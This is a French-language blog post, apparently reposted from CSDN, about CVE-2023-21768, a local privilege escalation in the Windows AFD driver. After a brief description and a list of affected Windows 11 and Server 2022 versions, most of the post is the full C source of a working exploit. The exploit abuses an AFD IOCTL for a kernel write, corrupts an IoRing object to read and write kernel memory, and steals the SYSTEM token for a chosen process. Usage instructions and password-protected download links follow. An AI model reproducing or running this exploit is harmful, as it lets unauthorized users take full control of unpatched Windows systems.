CVE-2023-21768 Vulnérabilité d'élévation de privilèges locale Windows AFD

 

 

CVE-2023-21768 Vulnérabilité d’élévation de privilèges locaux du pilote de fonction auxiliaire (AFD) afd.sys de Windows.

  • AFD (Ancillary Function Driver) est un pilote en mode noyau du système d'exploitation Windows. C'est également l'un des modules de base de la communication socket (Socket).
  • Il fournit une interface entre le système d'exploitation et la pile de protocoles réseau, permettant aux applications de communiquer sur le réseau. Prend en charge WinSock, qui est une interface de programmation permettant d'accéder aux services réseau sous Windows.
  • afd.sys implémente la gestion des sockets, la transmission de données entre les sockets et surveille les événements sur les sockets. afd.sys est également responsable du rapport et de la gestion des erreurs de communication réseau. En fait, les fonctions d'afd.sys tournent essentiellement autour des sockets réseau. C'est le point final du canal de communication entre les programmes sur le réseau. Les sockets permettent aux programmes d'envoyer et de recevoir des données via une connexion réseau.

Principe de vulnérabilité 

  • La vulnérabilité existe dans la manière dont le pilote AFD gère les opérations d'entrée/sortie (E/S) en mode utilisateur.
  • Plus précisément, la vulnérabilité permet à un attaquant d'envoyer des requêtes de contrôle d'entrée/sortie (IOCTL) malveillantes au pilote AFD, ce qui pourrait conduire à l'exécution de code arbitraire avec des privilèges élevés. 

système concerné 

  • Windows 11 version 22H2 pour les systèmes x64
  • Windows 11 version 22H2 pour les systèmes basés sur ARM64
  • Windows 11 version 21H2 pour les systèmes basés sur ARM64
  • Windows 11 version 21H2 pour les systèmes x64
  • Windows Server 2022 (installation Server Core)
  • Windows Serveur 2022

exemple de code 

  • win_defs.h 
#ifndef _WIN_DEFS_H_
#define _WIN_DEFS_H_

#define EPROC_TOKEN_OFFSET 0x4b8

#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING TypeName;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN TypeIndex;
    CHAR ReservedByte;
    ULONG PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    unsigned short UniqueProcessId;
    unsigned short CreatorBackTraceIndex;
    unsigned char ObjectTypeIndex;
    unsigned char HandleAttributes;
    unsigned short HandleValue;
    void* Object;
    unsigned long GrantedAccess;
    long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    unsigned long NumberOfHandles;
    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _DISPATCHER_HEADER
{
    union
    {
        volatile long Lock;
        long LockNV;
        struct
        {
            unsigned char Type;
            unsigned char Signalling;
            unsigned char Size;
            unsigned char Reserved1;
        };
        struct
        {
            unsigned char TimerType;
            union
            {
                unsigned char TimerControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char Absolute : 1;
                        unsigned char Wake : 1;
                        unsigned char EncodedTolerableDelay : 6;
                    };
                    unsigned char Hand;
                    union
                    {
                        unsigned char TimerMiscFlags;
                        struct
                        {
                            unsigned char Index : 6;
                            unsigned char Inserted : 1;
                            volatile unsigned char Expired : 1;
                        };
                    };
                };
            };
        };
        struct
        {
            unsigned char Timer2Type;
            union
            {
                unsigned char Timer2Flags;
                struct
                {
                    struct
                    {
                        unsigned char Timer2Inserted : 1;
                        unsigned char Timer2Expiring : 1;
                        unsigned char Timer2CancelPending : 1;
                        unsigned char Timer2SetPending : 1;
                        unsigned char Timer2Running : 1;
                        unsigned char Timer2Disabled : 1;
                        unsigned char Timer2ReservedFlags : 2;
                    };
                    unsigned char Timer2ComponentId;
                    unsigned char Timer2RelativeId;
                };
            };
        };
        struct
        {
            unsigned char QueueType;
            union
            {
                unsigned char QueueControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char Abandoned : 1;
                        unsigned char DisableIncrement : 1;
                        unsigned char QueueReservedControlFlags : 6;
                    };
                    unsigned char QueueSize;
                    unsigned char QueueReserved;
                };
            };
        };
        struct
        {
            unsigned char ThreadType;
            unsigned char ThreadReserved;
            union
            {
                unsigned char ThreadControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char CycleProfiling : 1;
                        unsigned char CounterProfiling : 1;
                        unsigned char GroupScheduling : 1;
                        unsigned char AffinitySet : 1;
                        unsigned char Tagged : 1;
                        unsigned char EnergyProfiling : 1;
                        unsigned char SchedulerAssist : 1;
                        unsigned char ThreadReservedControlFlags : 1;
                    };
                    union
                    {
                        unsigned char DebugActive;
                        struct
                        {
                            unsigned char ActiveDR7 : 1;
                            unsigned char Instrumented : 1;
                            unsigned char Minimal : 1;
                            unsigned char Reserved4 : 2;
                            unsigned char AltSyscall : 1;
                            unsigned char Emulation : 1;
                            unsigned char Reserved5 : 1;
                        };
                    };
                };
            };
        };
        struct
        {
            unsigned char MutantType;
            unsigned char MutantSize;
            unsigned char DpcActive;
            unsigned char MutantReserved;
        };
    };
    long SignalState;
    LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER, * PDISPATCHER_HEADER;

typedef struct _KEVENT
{
    struct _DISPATCHER_HEADER Header;
} KEVENT, * PKEVENT;


DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

#endif

  • ioring.h 
#ifndef _IORING_H_
#define _IORING_H_

#include "win_defs.h"

typedef struct _NT_IORING_CREATE_FLAGS
{
    enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
    enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;

typedef struct _NT_IORING_INFO
{
    enum IORING_VERSION IoRingVersion;
    struct _NT_IORING_CREATE_FLAGS Flags;
    unsigned int SubmissionQueueSize;
    unsigned int SubmissionQueueRingMask;
    unsigned int CompletionQueueSize;
    unsigned int CompletionQueueRingMask;
    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO;

typedef struct _IOP_MC_BUFFER_ENTRY
{
    USHORT Type;
    USHORT Reserved;
    ULONG Size;
    ULONG ReferenceCount;
    ULONG Flags;
    LIST_ENTRY GlobalDataLink;
    PVOID Address;
    ULONG Length;
    CHAR AccessMode;
    ULONG MdlRef;
    struct _MDL* Mdl;
    KEVENT MdlRundownEvent;
    PULONG64 PfnArray;
    BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;

typedef struct _IORING_OBJECT
{
    short Type;
    short Size;
    struct _NT_IORING_INFO UserInfo;
    void* Section;
    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    struct _MDL* CompletionQueueMdl;
    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
    unsigned __int64 ViewSize;
    long InSubmit;
    unsigned __int64 CompletionLock;
    unsigned __int64 SubmitCount;
    unsigned __int64 CompletionCount;
    unsigned __int64 CompletionWaitUntil;
    struct _KEVENT CompletionEvent;
    unsigned char SignalCompletionEvent;
    struct _KEVENT* CompletionUserEvent;
    unsigned int RegBuffersCount;
    struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
    unsigned int RegFilesCount;
    void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT;

typedef struct _HIORING
{
    HANDLE handle;
    NT_IORING_INFO Info;
    ULONG IoRingKernelAcceptedVersion;
    PVOID RegBufferArray;
    ULONG BufferArraySize;
    PVOID Unknown;
    ULONG FileHandlesCount;
    ULONG SubQueueHead;
    ULONG SubQueueTail;
}_HIORING;

int ioring_setup(PIORING_OBJECT* ppIoRingAddr);
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt);

#endif

  • ioring_lpe.c
#include <windows.h>
#include <ioringapi.h>
#include <winternl.h>
#include <ntstatus.h>

#include "ioring.h"
#include "win_defs.h"

HIORING hIoRing = NULL;
PIORING_OBJECT pIoRing = NULL;
HANDLE hInPipe = INVALID_HANDLE_VALUE;
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;


int ioring_setup(PIORING_OBJECT* ppIoRingAddr)
{
    int ret = -1;
    IORING_CREATE_FLAGS ioRingFlags = { 0 };

    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;

    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);

    if (0 != ret)
    {
        goto done;
    }

    ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);

    if (0 != ret)
    {
        goto done;
    }

    pIoRing = *ppIoRingAddr;

    hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
    {
        ret = GetLastError();
        goto done;
    }

    hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
    {
        ret = GetLastError();
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
    int ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
    ULONG ulBytes = 0;
    NTSTATUS ntStatus = STATUS_SUCCESS;

    while ((ntStatus = _NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
        }

        else
        {
            pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (ntStatus != STATUS_SUCCESS)
    {
        ret = ntStatus;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle))
        {
            *ppObjAddr = pHandleInfo->Handles[i].Object;
            ret = 0;
            break;
        }
    }

done:
    if (NULL != pHandleInfo)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return ret;
}

int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }

    pMcBufferEntry->Address = pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = pMcBufferEntry;

    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)
    {
        goto done;
    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)
    {
        goto done;
    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)
    {
        goto done;
    }

    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }

    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }

    ret = 0;

done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };

    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }

    pMcBufferEntry->Address = pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = pMcBufferEntry;

    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)
    {
        goto done;
    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)
    {
        goto done;
    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)
    {
        goto done;
    }

    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }

    ret = 0;

done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
    int ret = -1;
    HANDLE hProc = NULL;
    ULONG64 ullSystemEPROCaddr = 0;
    ULONG64 ullTargEPROCaddr = 0;
    PVOID pFakeRegBuffers = NULL;
    _HIORING* phIoRing = NULL;
    ULONG64 ullSysToken = 0;
    char null[0x10] = { 0 };

    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);

    if (NULL == hProc)
    {
        ret = GetLastError();
        goto done;
    }

    ret = getobjptr(&ullSystemEPROCaddr, 4, 4);

    if (0 != ret)
    {
        goto done;
    }

    printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);

    ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);

    if (0 != ret)
    {
        goto done;
    }

    printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);

    pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)
    {
        ret = GetLastError();
        goto done;
    }

    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);

    phIoRing = *(_HIORING**)&hIoRing;
    phIoRing->RegBufferArray = pFakeRegBuffers;
    phIoRing->BufferArraySize = ulFakeRegBufferCnt;

    ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));

    if (0 != ret)
    {
        goto done;
    }

    printf("[+] System token is at: %llx\n", ullSysToken);

    ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));

    if (0 != ret)
    {
        goto done;
    }

    ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);

    ret = 0;

done:
    return ret;
}

  • exploit.c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <ioringapi.h>

#include "win_defs.h"
#include "ioring.h"

#define AFD_NOTIFYSOCK_IOCTL 0x12127

typedef struct AFD_NOTIFYSOCK_DATA
{
    HANDLE hCompletion;
    PVOID pData1;
    PVOID pData2;
    PVOID pPwnPtr;
    DWORD dwCounter;
    DWORD dwTimeout;
    DWORD dwLen;
    char lol[0x4];
}AFD_NOTIFYSOCK_DATA;


int GetNtFunctions(void)
{
    int ret = -1;

    _NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
    _NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
    _NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
    _NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
    _NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if ((_NtSetIoCompletion == NULL) || (_NtCreateIoCompletion == NULL) || (_NtCreateFile == NULL) || (_NtDeviceIoControlFile == NULL) || (_NtQuerySystemInformation == NULL))
    {
        ret = GetLastError();
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int ArbitraryKernelWrite0x1(void* pPwnPtr)
{
    int ret = -1;
    HANDLE hCompletion = INVALID_HANDLE_VALUE;
    IO_STATUS_BLOCK IoStatusBlock = { 0 };
    HANDLE hSocket = INVALID_HANDLE_VALUE;
    UNICODE_STRING ObjectFilePath = { 0 };
    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    AFD_NOTIFYSOCK_DATA Data = { 0 };
    HANDLE hEvent = NULL;
    HANDLE hThread = NULL;
    
    // Hard-coded attributes for an IPv4 TCP socket
    BYTE bExtendedAttributes[] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
    };

    ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);

    if (0 != ret)
    {
        goto done;
    }

    ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);

    if (0 != ret)
    {
        goto done;
    }

    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
    ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;

    ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));

    if (0 != ret)
    {
        goto done;
    }

    Data.hCompletion = hCompletion;
    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.dwCounter = 0x1;
    Data.dwLen = 0x1;
    Data.dwTimeout = 100000000;
    Data.pPwnPtr = pPwnPtr;

    if ((NULL == Data.pData1) || (NULL == Data.pData2))
    {
        ret = GetLastError();
        goto done;
    }

    hEvent = CreateEvent(NULL, 0, 0, NULL);
    
    if (NULL == hEvent)
    {
        ret = GetLastError();
        goto done;
    }

    _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);

    ret = 0;

done:
    if (INVALID_HANDLE_VALUE != hCompletion)
    {
        CloseHandle(hCompletion);
    }

    if (INVALID_HANDLE_VALUE != hSocket)
    {
        CloseHandle(hSocket);
    }

    if (NULL != hEvent)
    {
        CloseHandle(hEvent);
    }

    if (NULL != Data.pData1)
    {
        VirtualFree(Data.pData1, 0, MEM_RELEASE);
    }

    if (NULL != Data.pData2)
    {
        VirtualFree(Data.pData2, 0, MEM_RELEASE);
    }

    return ret;
}

int main(int argc, char* argv[])
{
    int ret = -1;
    PIORING_OBJECT pIoRing = NULL;
    ULONG pid = 0;

	printf("WebSite:\nwww.chwm.vip\n\n");
	
    if (argc != 2)
    {
        printf("usage:\nexp.exe <pid>\n");
        goto done;
    }

    pid = strtol(argv[1], NULL, 10);

    printf("[!] Attempting to elevate pid %i\n", pid);

    ret = GetNtFunctions();

    if (0 != ret)
    {
        printf("[-] Failed to get address of NT functions: %0x\n", ret);
        goto done;
    }

    ret = ioring_setup(&pIoRing);

    if (0 != ret)
    {
        printf("[-] IORING setup failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing Obj Address at %llx\n", pIoRing);

    ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3);

    if (0 != ret)
    {
        printf("[-] IoRing->RegBuffers overwrite failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing->RegBuffers overwritten with address 0x1000000\n");

    ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount);

    if (0 != ret)
    {
        printf("[-] IoRing->RegBuffersCount overwrite failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing->RegBuffersCount overwritten with 0x1\n");

    ret = ioring_lpe(pid, 0x1000000, 0x1);

    if (0 != ret)
    {
        printf("[-] LPE Failed: %0x\n", ret);
        goto done;
    }

    printf("[+] Target process token elevated to SYSTEM!\n");

done:
    return ret;
}

Instructions

  • exp.exe <pid>
  • Où <pid> est le PID du processus cible, qui peut être élevé aux autorisations SYSTEM.

Téléchargement du projet complet 

【Adresse de téléchargement】https://wwrd.lanzoum.com/icTHi167lv8f

Bibliothèque de vulnérabilités 

【Mot de passe : b8ox】https://wwrd.lanzoum.com/b04eghy4f

 Site officiel

【Site officiel de Rainbow】https://www.chwm.vip/?v=CVE-2023-21768

Je suppose que tu aimes

Origine blog.csdn.net/qq_39190622/article/details/132459158
conseillé
Classement